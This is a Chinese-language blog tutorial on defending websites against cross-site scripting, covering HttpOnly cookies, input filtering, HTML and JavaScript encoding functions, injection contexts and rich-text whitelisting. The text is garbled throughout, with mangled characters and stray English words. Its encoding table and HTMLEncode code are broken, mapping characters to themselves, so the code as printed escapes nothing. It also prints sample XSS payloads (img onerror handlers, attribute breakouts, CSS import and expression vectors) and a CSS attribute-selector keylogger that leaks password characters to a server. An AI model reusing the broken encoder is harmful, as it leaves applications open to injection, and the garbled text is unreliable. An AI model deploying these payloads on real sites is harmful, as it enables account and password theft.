XSS
的防护很复杂,并非一套防护机制就能就解决的问题,它须要具体业务具体实现。javascript
目前来讲,流行的浏览器内都内置了一些 XSS 过滤器
,可是这只能防护一部分常见的 XSS
,而对于网站来讲,也应该一直寻求优秀的解决方案,保护网站及用户的安全,我将阐述一下网站在设计上该如何避免 XSS
的攻击。css
HttpOnly
HttpOnly
最先是由微软提出,并在 IE 6
中实现的,至今已经逐渐成为一个标准,各大浏览器都支持此标准。具体含义就是,若是某个 Cookie
带有 HttpOnly
属性,那么这一条 Cookie
将被禁止读取,也就是说,JavaScript
读取不到此条 Cookie
,不过在与服务端交互的时候,Http Request
包中仍然会带上这个 Cookie
信息,即咱们的正常交互不受影响。html
Cookie
是经过 http response header
种到浏览器的,咱们来看看设置 Cookie
的语法:java
Set-Cookie: <name>=<value>[; <Max-Age>=<age>][; expires=<date>][; domain=<domain_name>][; path=<some_path>][; secure][; HttpOnly]
复制代码
第一个是 name=value
的键值对,而后是一些属性,好比失效时间,做用的 domain
和 path
,最后还有两个标志位,能够设置为 secure
和 HttpOnly
。git
栗子:github
// 利用 express 这个轮子设置cookie
res.cookie('myCookie', 'test', {
httpOnly: true
})
res.cookie('myCookie2', 'test', {
httpOnly: false
})
复制代码
而后回到浏览器查看:express
这个时候咱们试着在控制台输出:npm
咱们发现,只有没有设置 HttpOnly
的 myCookie2
输出了出来,这样一来, javascript
就读取不到这个 Cookie
信息了。后端
HttpOnly
的设置过程十分简单,并且效果明显,不过须要注意的是,全部须要设置 Cookie
的地方,都要给关键的 Cookie
都加上 HttpOnly
,如有遗漏则会功亏一篑。浏览器
可是, HttpOnly
不是万能的,添加了 HttpOnly
不等于解决了 XSS
问题。
严格的说,HttpOnly
并不是为了对抗 XSS
,HttpOnly
解决的是 XSS
后的 Cookie
劫持问题,可是 XSS
攻击带来的不只仅是 Cookie
劫持问题,还有窃取用户信息,模拟身份登陆,操做用户帐户等一系列行为。
使用 HttpOnly
有助于缓解 XSS
攻击,可是仍然须要其余可以解决 XSS
漏洞的方案。
记住一点:不要相信任何输入的内容。
不管是否是作了安全校验,都必须进行过滤操做,并且须要后台配合过滤,若是后端的检查校验还作得很差,那就可能被攻破。
输入检查在更多的时候被用于格式检验,例如用户名只能以字母和数字组合,手机号码只能有 11 位且所有为数字,不然即为非法。
这些格式检查相似于白名单效果,限制输入容许的字符,让一下特殊字符的攻击失效。
目前网上有不少开源的 XSS Filter
,这些 XSS Filter
目前来讲仍是有些效果的,能只能检验输入内容,高级一点的还会匹配 XSS
特征,例如内容是否包含了 <script>
,javascript
等敏感字符,可是这些 XSS Filter
只是获取到了用户的输入内容,并不了解其上下文含义,不少时候会误过滤。
例如:
用户输入昵称:<|无敌是多么鸡毛|>
,对于 XSS Filter
来讲,<>
就是特殊字符,须要过滤而后过滤成为 |无敌是多么鸡毛|
,直接改变了用户的昵称。
因此,咱们不能彻底信赖开源的 XSS Filter
,不少场景须要咱们本身配置规则,进行过滤。
不要觉得在输入的时候进行过滤就万事大吉了,恶意攻击者们可能会层层绕过防护机制进行 XSS
攻击,通常来讲,全部须要输出到 HTML
页面的变量,所有须要使用编码或者转义来防护。
HTMLEncode
针对 HTML
代码的编码方式是 HTMLEncode
,它的做用是将字符串转换成 HTMLEntities
。
目前来讲,为了对抗 XSS
,如下转义内容是必不可少的:
特殊字符 | 实体编码 |
---|---|
& | & ; |
< | < ; |
> | > ; |
" | " ; |
' | ' ; |
/ | / ; |
PS. ;
是必须的,并且要和前面的字符链接起来,我这边分开是由于,markdown
就是 HTML
语言,我连上就直接转义成前面的特殊字符了,/(ㄒoㄒ)/~~
来看看效果:
能够看到,这些编码在 HTML
上已经成功转成了对应的符号。
固然,上面的只是最基本并且是最必要的,HTMLEncode
还有不少不少,我这边列举了一些(请容许我用代码的形式写出来,这样就不会转义了):
const HtmlEncode = (str) => {
// 设置 16 进制编码,方便拼接
const hex = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f'];
// 赋值须要转换的HTML
const preescape = str;
let escaped = "";
for (let i = 0; i < preescape.length; i++) {
// 获取每一个位置上的字符
let p = preescape.charAt(i);
// 从新编码组装
escaped = escaped + escapeCharx(p);
}
return escaped;
// HTMLEncode 主要函数
// original 为每次循环出来的字符
function escapeCharx(original) {
// 默认查到这个字符编码
let found = true;
// charCodeAt 获取 16 进制字符编码
const thechar = original.charCodeAt(0);
switch (thechar) {
case 10: return "<br/>"; break; // 新的一行
case 32: return " "; break; // space
case 34: return """; break; // "
case 38: return "&"; break; // &
case 39: return "'"; break; // '
case 47: return "/"; break; // /
case 60: return "<"; break; // <
case 62: return ">"; break; // >
case 198: return "Æ"; break; // Æ
case 193: return "Á"; break; // Á
case 194: return "Â"; break; // Â
case 192: return "À"; break; // À
case 197: return "Å"; break; // Å
case 195: return "Ã"; break; // Ã
case 196: return "Ä"; break; // Ä
case 199: return "Ç"; break; // Ç
case 208: return "Ð"; break; // Ð
case 201: return "É"; break; // É
case 202: return "Ê"; break;
case 200: return "È"; break;
case 203: return "Ë"; break;
case 205: return "Í"; break;
case 206: return "Î"; break;
case 204: return "Ì"; break;
case 207: return "Ï"; break;
case 209: return "Ñ"; break;
case 211: return "Ó"; break;
case 212: return "Ô"; break;
case 210: return "Ò"; break;
case 216: return "Ø"; break;
case 213: return "Õ"; break;
case 214: return "Ö"; break;
case 222: return "Þ"; break;
case 218: return "Ú"; break;
case 219: return "Û"; break;
case 217: return "Ù"; break;
case 220: return "Ü"; break;
case 221: return "Ý"; break;
case 225: return "á"; break;
case 226: return "â"; break;
case 230: return "æ"; break;
case 224: return "à"; break;
case 229: return "å"; break;
case 227: return "ã"; break;
case 228: return "ä"; break;
case 231: return "ç"; break;
case 233: return "é"; break;
case 234: return "ê"; break;
case 232: return "è"; break;
case 240: return "ð"; break;
case 235: return "ë"; break;
case 237: return "í"; break;
case 238: return "î"; break;
case 236: return "ì"; break;
case 239: return "ï"; break;
case 241: return "ñ"; break;
case 243: return "ó"; break;
case 244: return "ô"; break;
case 242: return "ò"; break;
case 248: return "ø"; break;
case 245: return "õ"; break;
case 246: return "ö"; break;
case 223: return "ß"; break;
case 254: return "þ"; break;
case 250: return "ú"; break;
case 251: return "û"; break;
case 249: return "ù"; break;
case 252: return "ü"; break;
case 253: return "ý"; break;
case 255: return "ÿ"; break;
case 162: return "¢"; break;
case '\r': break;
default: found = false; break;
}
if (!found) {
// 若是和上面内容不匹配且字符编码大于127的话,用unicode(很是严格模式)
if (thechar > 127) {
let c = thechar;
let a4 = c % 16;
c = Math.floor(c / 16);
let a3 = c % 16;
c = Math.floor(c / 16);
let a2 = c % 16;
c = Math.floor(c / 16);
let a1 = c % 16;
return "&#x" + hex[a1] + hex[a2] + hex[a3] + hex[a4] + ";";
} else {
return original;
}
}
}
}
复制代码
emmmm……做者比较懒,剩下的注释本身补充,这应该是比较全的 HTMLEncode
编码转换了,你们能够直接拿去用(能够给个赞不~),来让咱们测试一下:
<div id="id"></div>
复制代码
// 当咱们输入:
document.querySelector('#id').innerHTML = '<img onerror=alert(1) src=1/>'
复制代码
页面不可避免的发生了 XSS
注入:
// 当咱们利用 HTMLEncode 以后
document.querySelector('#id').innerHTML = HtmlEncode('<img onerror=alert(1) src=1/>')
console.log(HtmlEncode('<img onerror=alert(1) src=1/>'))
复制代码
发现页面将输入的内容彻底呈现了:
JavaScriptEncode
JavaScriptEncode
与 HTMLEncode
的编码方式不一样,它须要用 \
对特殊字符进行转义。
在对抗 XSS
时,还要求输出的变量必须在引号内部,以避免形成安全问题,但是不少开发者并无这种习惯,这样只能使用更为严格的 JavaScriptEncode
来保证数据安全:除了数字,字符以外的全部字符,小于127的字符编码都使用十六进制 \xHH
的方式进行编码,大于用unicode(很是严格模式)。
一样是代码的方式展示出来:
//使用“\”对特殊字符进行转义,除数字字母以外,小于127使用16进制“\xHH”的方式进行编码,大于用unicode(很是严格模式)。
// 大部分代码和上面同样,我就不写注释了
const JavaScriptEncode = function (str) {
const hex = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f'];
const preescape = str;
let escaped = "";
for (let i = 0; i < preescape.length; i++) {
escaped = escaped + encodeCharx(preescape.charAt(i));
}
return escaped;
// 小于127转换成十六进制
function changeTo16Hex(charCode) {
return "\\x" + charCode.charCodeAt(0).toString(16);
}
function encodeCharx(original) {
let found = true;
const thecharchar = original.charAt(0);
const thechar = original.charCodeAt(0);
switch (thecharchar) {
case '\n': return "\\n"; break; //newline
case '\r': return "\\r"; break; //Carriage return
case '\'': return "\\'"; break;
case '"': return "\\\""; break;
case '\&': return "\\&"; break;
case '\\': return "\\\\"; break;
case '\t': return "\\t"; break;
case '\b': return "\\b"; break;
case '\f': return "\\f"; break;
case '/': return "\\x2F"; break;
case '<': return "\\x3C"; break;
case '>': return "\\x3E"; break;
default: found = false; break;
}
if (!found) {
if (thechar > 47 && thechar < 58) { //数字
return original;
}
if (thechar > 64 && thechar < 91) { //大写字母
return original;
}
if (thechar > 96 && thechar < 123) { //小写字母
return original;
}
if (thechar > 127) { //大于127用unicode
let c = thechar;
let a4 = c % 16;
c = Math.floor(c / 16);
let a3 = c % 16;
c = Math.floor(c / 16);
let a2 = c % 16;
c = Math.floor(c / 16);
let a1 = c % 16;
return "\\u" + hex[a1] + hex[a2] + hex[a3] + hex[a4] + "";
} else {
return changeTo16Hex(original);
}
}
}
}
复制代码
除了 HTMLEncode
和 JavaScript
外,还有许多用于各类状况的编码函数,好比 XMLEncode
、JSONEncode
等。
编码函数须要在适当的状况下用适当的函数,须要注意的是,编码以后数据长度发生改变,若是文件对数据长度有所限制的话,可能会影响到某些功能。咱们在使用编码函数时,必定要注意这个细节,以避免产生没必要要的 bug
。
XSS
上面说了两种转义只是为了设计我的能更好的 XSS
防护方案,可是咱们须要认清 XSS
产生的本质缘由。
XSS
的本质仍是一种 HTML 注入
,用户的数据被当成了 HTML
代码一部分来执行,从而混淆了本来的语意,产生了新的语意。
若是网站使用了 MVC(MVVM)
结构,那么 XSS
就会发生在 View
层,也就是变量拼接到页面时产生的,因此在用户提交数据的时候进行输入检查,并非真正在被攻击的地方作防护,而是预防攻击,下面,我将总结一些 XSS
发生的场景,再一一解决。
HTML
标签中输出在 HTML
标签中直接输出变量,没有作任何处理,会致使 XSS
。
<a href=# ><img src=1 onerror=alert(1)></a>
复制代码
这种方式的解决方案是,全部须要输出到页面的元素所有经过 HTMLEncode
。
HTML
属性中输出在和 HTML
标签中输出攻击方式相似,只不过输出的内容会自动闭合标签。
<a href="我是变量" ></a>
<!-- 我是变量: "><img src=1 onerror=alert(1)><" -->
<!-- 插入以后变为 -->
<a href=""><img src=1 onerror=alert(1)><""></a>
复制代码
这种方式的防护方法仍然是 HTMLEncode
。
<script>
标签中输出假设咱们的变量都在引号内部:
let a = "我是变量"
// 我是变量 = ";alert(1);//
a = "";alert(1);//"
复制代码
攻击者只须要闭合标签就能实行攻击,目前的防护方法为 JavaScriptEncode
。
CSS
中输出在 CSS
中或者 style
标签或者 style attribute
中造成的攻击花样很是多,整体上相似于下面几个例子:
<style>@import url('http:xxxxx')</style>
<style>@import 'http:xxxxx'</style>
<style>li {list-style-image: url('xxxxxx')}</style>
<style>body {binding:url('xxxxxxxxxx')}</style>
<div style='background-image: url(xxxx)'></div>
<div style='width: expression(xxxxx)'></div>
复制代码
要解决 CSS
的攻击问题,一方面要严格控制用户将变量输入style
标签内,另外一方面不要引用未知的 CSS
文件,若是必定有用户改变 CSS
变量这种需求的话,可使用 OWASP ESAPI
中的 encodeForCSS()
函数。
一个很典型的第三方 CSS
库攻击的案例:
input[type="password"][value$="0"]{ background-image: url("http://localhost:3000/0") }
input[type="password"][value$="1"]{ background-image: url("http://localhost:3000/1") }
input[type="password"][value$="2"]{ background-image: url("http://localhost:3000/2") }
input[type="password"][value$="3"]{ background-image: url("http://localhost:3000/3") }
input[type="password"][value$="4"]{ background-image: url("http://localhost:3000/4") }
input[type="password"][value$="5"]{ background-image: url("http://localhost:3000/5") }
input[type="password"][value$="6"]{ background-image: url("http://localhost:3000/6") }
input[type="password"][value$="7"]{ background-image: url("http://localhost:3000/7") }
input[type="password"][value$="8"]{ background-image: url("http://localhost:3000/8") }
input[type="password"][value$="9"]{ background-image: url("http://localhost:3000/9") }
...
复制代码
剩下的就不写了,就是将全部键盘能输入的字符都写进去。
input[type="password"]
是css选择器,做用是选择密码输入框,[value$="0"]
表示匹配输入的值是以 0 结尾的。
因此若是你在密码框中输入 0 ,就去请求 http://localhost:3000/0
接口,可是浏览器默认状况下是不会将用户输入的值存储在 value
属性中,可是有的框架会同步这些值,例如React
。
咱们模拟同步 value
值:
<body>
<input type="password" value="" id="pwd">
</body>
<script> const pwd = document.querySelector('#pwd'); pwd.oninput = (e) => { pwd.attributes.value.value = e.target.value } </script>
复制代码
而后咱们看看效果:
看!你的密码都被发送到远程了,因此输 CSS
也是 XSS
攻击的手段之一,只有想不到,没有作不到~
URL
中输出在地址张输出也比较复杂。通常来讲 URL
的 path
或者 search
中进行攻击直接使用 URLEncode
便可。URLEncode
会将字符串转换为 %HH
的形式,相似空格就是 %20
。
可能的攻击方法就是:
<!-- 原始 URL -->
<a href="http://localhost:3000/?test=我是变量"></a>
<!-- 攻击 URL -->
<a href="http://localhost:3000/?test=" onclick=alert(1)""></a>
<!-- URLEncode -->
<a href="http://localhost:3000/?test=%22%20onclick%3balert%281%29%22"></a>
复制代码
可是是否用了 URLEncode
就万事大吉了呢?
不不不
若是整个 URL
被用户控制,那么前面的 http://
, localhost:3000
等部分被转义不就乱套了,这些部分是不能被转义的。
一个 URL
的组成以下:
[Protocal][Host][Path][Search][Hash]
栗子:
http://localhost:3000/a/b/c?search=123#666aaa
[Protocal]
对应 http://
[Host]
对应 localhost:3000
[Path]
对应 /a/b/c
[Search]
对应 ?search=123
[Hash]
对应 #666aaa
通常来讲,若是变量是整个 URL
,则应该先检查变量是否以 http
开头,在此以后再对里面的变量进行 URLEncode
。
在一些网站,网站容许用户富含 HTML
标签的代码,好比文本里面要有图片、视频之类,这些文本展示出来全都是依靠 HTML
代码来实现。
那么,咱们须要如何区分安全的 富文本
和 XSS
攻击呢?
我正好在华为作过相关的富文本过滤操做,基本的思想就是:
HTML
代码,而不是有拼接的代码htmlParser
解析出 HTML
代码的标签、属性、事件富文本
的 事件
确定要被禁止,由于富文本
并不须要 事件
这种东西,另一些危险的标签也须要禁止,例如: <iframe>
,<script>
,<base>
,<form>
等<a>
,<img>
,div
等,白名单不只仅适用于标签,也适用于属性
CSS
,检查是否有危险代码理论上来讲,XSS
漏洞虽然复杂,可是倒是能够完全解决掉的,在设计 XSS
解决方案时,要结合目前的业务需求,从业务风险角度定义每一个 XSS
漏洞,针对不一样的场景使用不一样的方法,同时,不少开源的项目能够借鉴参考,完善本身的 XSS
解决方案。
最后很差意思推广一下我基于 Taro
框架写的组件库:MP-ColorUI。
能够顺手 star 一下我就很开心啦,谢谢你们。